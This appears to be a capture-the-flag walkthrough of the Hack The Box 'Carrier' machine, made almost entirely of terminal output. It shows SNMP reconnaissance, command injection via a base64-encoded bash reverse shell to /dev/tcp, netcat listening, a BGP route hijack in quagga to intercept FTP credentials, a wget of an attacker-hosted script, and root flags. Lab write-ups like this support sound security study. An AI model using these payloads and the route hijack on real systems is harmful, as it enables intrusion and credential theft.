

```
root@kali:~/.ssh# nmap -sS -sV -p- -T4 10.10.10.105
Starting Nmap 7.70 ( https://nmap.org ) at 2018-12-01 09:19 +03
Nmap scan report for 10.10.10.105
Host is up (0.075s latency).
Not shown: 65532 closed ports
PORT      STATE      SERVICE VERSION
21/tcp    filtered  ftp
22/tcp    open      ssh      OpenSSH 7.6p1 Ubuntu 4 (Ubuntu Linux; protocol 2.0)
80/tcp    open      http     Apache httpd 2.4.18 ((Ubuntu))
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
```

```
root@kali:~/Masaüstü# snmpwalk 10.10.10.105 -v 1 -c public  
iso.3.6.1.2.1.47.1.1.1.1.11 = STRING: "SN#NET_45JDX23"  
End of MIB
```



Lyghtspeed

Please login

Error 45007

Error 45009

Username

Password

Submit

```
root@kali:~/Masaüstü# dirb http://10.10.10.105
```

```
-----  
DIRB v2.22  
By The Dark Raver  
-----
```

```
START_TIME: Fri Nov 30 19:15:06 2018  
URL_BASE: http://10.10.10.105/  
WORDLIST_FILES: /usr/share/dirb/wordlists/common.txt  
-----
```

```
GENERATED WORDS: 4612
```




```
---- Scanning URL: http://10.10.10.105/ ----  
==> DIRECTORY: http://10.10.10.105/css/  
==> DIRECTORY: http://10.10.10.105/debug/  
==> DIRECTORY: http://10.10.10.105/doc/  
==> DIRECTORY: http://10.10.10.105/fonts/  
==> DIRECTORY: http://10.10.10.105/img/  
+ http://10.10.10.105/index.php (CODE:200|SIZE:1509)  
==> DIRECTORY: http://10.10.10.105/js/
```

Navigation icons: back, forward, refresh, home. Address bar: 10.10.10.105/doc/

Most Visited Offensive Security Kali Linux Kali Docs

You must log in to this network before you can access the Internet.

# Index of /doc

<u>Name</u>	<u>Last modified</u>	<u>Size</u>	<u>Description</u>
 <a href="#">Parent Directory</a>		-	
 <a href="#">diagram_for_tac.png</a>	2018-07-02 20:46	35K	
 <a href="#">error_codes.pdf</a>	2018-07-02 18:11	70K	

**CW1000-X Lyghtspeed Management Platform v1.0.4d(Rel 1. GA)**  
Error messages list

**Table A1 - Main error codes for CW1000-X management platform**

Error code	Description
45001	System has not finished initializing Try again in a few minutes
45002	A hardware module failure has occurred Contact TAC for assistance
45003	The main cryptographic module has failed to initialize
45004	Mgmt daemon is not responsive
45005	Faild daemon is not responsive
45006	Replicated daemon is not responsive
45007	License invalid or expired
45008	Admin account locked out
45009	System credentials have not been set Default admin user password is set (see chassis serial number)



[Dashboard](#)

[Tickets](#)

[Monitoring](#)

[Diagnostics](#)

Warning: Invalid license, diagnostics restricted to built-in checks

[Verify status](#)

quagga 5234 0.0 0.1 24500 2240 ? Ss 01:30 0:00 /usr/lib/quagga/zebra --daemon -A 127.0.0.1

quagga 5238 0.0 0.1 29452 2680 ? Ss 01:30 0:01 /usr/lib/quagga/bgpd --daemon -A 127.0.0.1

root 5243 0.0 0.0 15432 164 ? Ss 01:30 0:00 /usr/lib/quagga/watchquagga --daemon zebra bgpd

```
quagga;bash -i >& /dev/tcp/10.10.12.212/1234 0>&1
```

**i** To encode binaries (like images, documents, etc.) upload your data via the [file encode form](#) below.

UTF-8



Destination charset.

LF (Unix)



Newline separator.

☐ Split lines into 76 character wide chunks (useful for MIME).



Live mode OFF

Encodes in real-time when you type or paste (supports only unicode charsets).

> ENCODE <

Encodes your data into the textarea below.

**StackPath - Protect Your Edge**

 Built-in Security. Global Infrastructure. Precision Control. Free 30-day Trial. [stackpath.com](https://stackpath.com)

OPEN

```
cXVhZ2dhO2Jhc2ggLWkgPiYgL2Rldi90Y3AvMTAuMTAuMTluMjEyLzEyMzQgMD4mMQ==
```



Go

Cancel

<|v

>|v

## Request

Raw

Params

Headers

Hex

```
POST /diag.php HTTP/1.1
Host: 10.10.10.105
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:60.0) Gecko/20100101 Firefox/60.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Referer: http://10.10.10.105/diag.php
Content-Type: application/x-www-form-urlencoded
Content-Length: 74
Cookie: PHPSESSID=1spmffj4sc1j8gf7bptln4s386
Connection: close
Upgrade-Insecure-Requests: 1
```

check=cXVhZ2dh02Jhc2ggLWkgPiYgL2Rldi90Y3AvMTAuMTAuMTIuMjEyLzEyMzQgMD4mMQ==

```
root@kali:~# nc -lvp 1234
listening on [any] 1234 ...
10.10.10.105: inverse host lookup failed: Unknown host
connect to [10.10.12.212] from (UNKNOWN) [10.10.10.105] 46662
bash: cannot set terminal process group (9406): Inappropriate ioctl for device
bash: no job control in this shell
root@r1:~# id
id
uid=0(root) gid=0(root) groups=0(root)
root@r1:~# ls -la
ls -la
total 24
drwx----- 1 root root 178 Dec  1 05:07 .
drwxr-xr-x 1 root root 140 Jun 22 08:25 ..
prw-r--r-- 1 root root  0 Dec  1 05:07 backpipe
-rw-r--r-- 1 root root 3121 Jul  2 19:33 .bashrc
drwx----- 1 root root  40 Jul  2 01:02 .cache
drwxr-xr-x 1 root root  0 Jul  2 16:40 .nano
-rw-r--r-- 1 root root 148 Aug 17  2015 .profile
-rw-r--r-- 1 root root  66 Jul  2 16:40 .selected_editor
drwx----- 1 root root  52 Jul  2 01:47 .ssh
-rw-r--r-- 1 root root  0 Jul  3 04:03 test_intercept.pcap
-rw-r--r-- 1 root root  33 Jul  2 01:03 user.txt
-rw----- 1 root root 5314 Dec  1 04:37 .viminfo
root@r1:~# cat user.txt
cat user.txt
5649c41df59fd6efdc4a78d79a07f2be
root@r1:~#
```

```
root@r1:/# crontab -l
crontab -l
# Edit this file to introduce tasks to be run by cron.
#
# Each task to run has to be defined through a single line
# indicating with different fields when the task will be run
# and what command to run for the task
#
# To define the time you can provide concrete values for
# minute (m), hour (h), day of month (dom), month (mon),
# and day of week (dow) or use '*' in these fields (for 'any').#
# Notice that tasks will be started based on the cron's system
# daemon's notion of time and timezones.
#
# Output of the crontab jobs (including errors) is sent through
# email to the user the crontab file belongs to (unless redirected).
#
# For example, you can run a backup of all your user accounts
# at 5 a.m every week with:
# 0 5 * * 1 tar -zcf /var/backups/home.tgz /home/
#
# For more information see the manual pages of crontab(5) and cron(8)
#
# m h  dom mon dow   command
*/10 * * * * /opt/restore.sh
root@r1:/# cat /op/restore.sh
cat /op/restore.sh
cat: /op/restore.sh: No such file or directory
root@r1:/# cat /opt/restore.sh
cat /opt/restore.sh
#!/bin/sh
systemctl stop quagga
killall vtysh
cp /etc/quagga/zebra.conf.orig /etc/quagga/zebra.conf
cp /etc/quagga/bgpd.conf.orig /etc/quagga/bgpd.conf
systemctl start quagga
root@r1:/# chmod 600 /opt/restore.sh
chmod 600 /opt/restore.sh
root@r1:/#
```

```
root@r1:/# ip route
```

```
ip route
```

```
default via 10.99.64.1 dev eth0 onlink
```

```
10.78.10.0/24 dev eth1 proto kernel scope link src 10.78.10.1
```

```
10.78.11.0/24 dev eth2 proto kernel scope link src 10.78.11.1
```

```
10.99.64.0/24 dev eth0 proto kernel scope link src 10.99.64.2
```

```
10.100.10.0/24 via 10.78.10.2 dev eth1 proto zebra
```

```
10.100.11.0/24 via 10.78.10.2 dev eth1 proto zebra
```

```
10.100.12.0/24 via 10.78.10.2 dev eth1 proto zebra
```

```
10.100.13.0/24 via 10.78.10.2 dev eth1 proto zebra
```

```
10.100.14.0/24 via 10.78.10.2 dev eth1 proto zebra
```

```
10.100.15.0/24 via 10.78.10.2 dev eth1 proto zebra
```

```
10.100.16.0/24 via 10.78.10.2 dev eth1 proto zebra
```

```
10.100.17.0/24 via 10.78.10.2 dev eth1 proto zebra
```

```
10.100.18.0/24 via 10.78.10.2 dev eth1 proto zebra
```

```
10.100.19.0/24 via 10.78.10.2 dev eth1 proto zebra
```

```
10.100.20.0/24 via 10.78.10.2 dev eth1 proto zebra
```

```
10.120.10.0/24 via 10.78.11.2 dev eth2 proto zebra
```

```
10.120.11.0/24 via 10.78.11.2 dev eth2 proto zebra
```

```
10.120.12.0/24 via 10.78.11.2 dev eth2 proto zebra
```

```
10.120.13.0/24 via 10.78.11.2 dev eth2 proto zebra
```

```
10.120.14.0/24 via 10.78.11.2 dev eth2 proto zebra
```

```
10.120.15.0/24 via 10.78.11.2 dev eth2 proto zebra
```

```
10.120.16.0/24 via 10.78.11.2 dev eth2 proto zebra
```

```
10.120.17.0/24 via 10.78.11.2 dev eth2 proto zebra
```

```
10.120.18.0/24 via 10.78.11.2 dev eth2 proto zebra
```

```
10.120.19.0/24 via 10.78.11.2 dev eth2 proto zebra
```

```
10.120.20.0/24 via 10.78.11.2 dev eth2 proto zebra
```

```
root@r1:/# vtysh
```

```
vttysh
```

```
Hello, this is Quagga (version 0.99.24.1).  
Copyright 1996-2005 Kunihiro Ishiguro, et al.
```

```
r1# config terminal
```

```
config terminal
```

```
r1(config)# router bgp 100
```

```
router bgp 100
```

```
r1(config-router)# network 10.120.15.0/32
```

```
network 10.120.15.0/32
```

```
r1(config-router)# end
```

```
end
```

```
r1# exit
```

```
exit
```

```
root@r1:/# ip address add 10.120.15.10/24 dev eth2
ip address add 10.120.15.10/24 dev eth2
root@r1:/# id
id
uid=0(root) gid=0(root) groups=0(root)
root@r1:/# pwd
pwd
/
root@r1:/# cd tmp
cd tmp
root@r1:/tmp# ls
ls
root@r1:/tmp# wget http://10.10.12.197:8081/ftpclient.py
wget http://10.10.12.197:8081/ftpclient.py
--2018-12-10 10:58:54-- http://10.10.12.197:8081/ftpclient.py
Connecting to 10.10.12.197:8081... connected.
HTTP request sent, awaiting response... 200 OK
Length: 7296 (7.1K) [text/plain]
Saving to: 'ftpclient.py'

ftpclient.py      100%[=====>]      7.12K  --.-KB/s

2018-12-10 10:58:55 (535 KB/s) - 'ftpclient.py' saved [7296/7296]

root@r1:/tmp# ls
ls
ftpclient.py
root@r1:/tmp# python ftpclient.py
python ftpclient.py
The program 'python' can be found in the following packages:
 * python-minimal
 * python3
Try: apt install <selected package>
root@r1:/tmp# python3 ftpclient.py
python3 ftpclient.py
On 0.0.0.0 : 21
Enter to end...
```

**Received USER root**

**Received PASS BGPtelc0rout1ng**

```
root@kali:~/Masaüstü# ssh root@10.10.10.105
```

```
root@10.10.10.105's password:
```

```
Permission denied, please try again.
```

```
root@10.10.10.105's password:
```

```
Welcome to Ubuntu 18.04 LTS (GNU/Linux 4.15.0-24-generic x86_64)
```

- \* Documentation: <https://help.ubuntu.com>
- \* Management: <https://landscape.canonical.com>
- \* Support: <https://ubuntu.com/advantage>

```
System information as of Mon Dec 10 11:03:35 UTC 2018
```

System load:	0.16	Users logged in:	0
Usage of /:	40.8% of 19.56GB	IP address for ens33:	10.10.10.105
Memory usage:	36%	IP address for lxdbr0:	10.99.64.1
Swap usage:	0%	IP address for lxdbr1:	10.120.15.10
Processes:	241		

- \* Canonical Livepatch is available for installation.
  - Reduce system reboots and improve kernel security. Activate at:  
<https://ubuntu.com/livepatch>

```
4 packages can be updated.
```

```
0 updates are security updates.
```

```
Last login: Wed Sep 5 14:32:15 2018
```

```
root@carrier:~# id
```

```
uid=0(root) gid=0(root) groups=0(root)
```

```
root@carrier:~# pwd
```

```
/root
```

```
root@carrier:~# ls
```

```
root.txt  secretdata.txt
```

```
root@carrier:~# cat root.txt
```

```
2832e552061532250ac2a21478fd4866
```

```
root@carrier:~# cat secretdata.txt
```

```
56484a766247786c5a43456849513d3d
```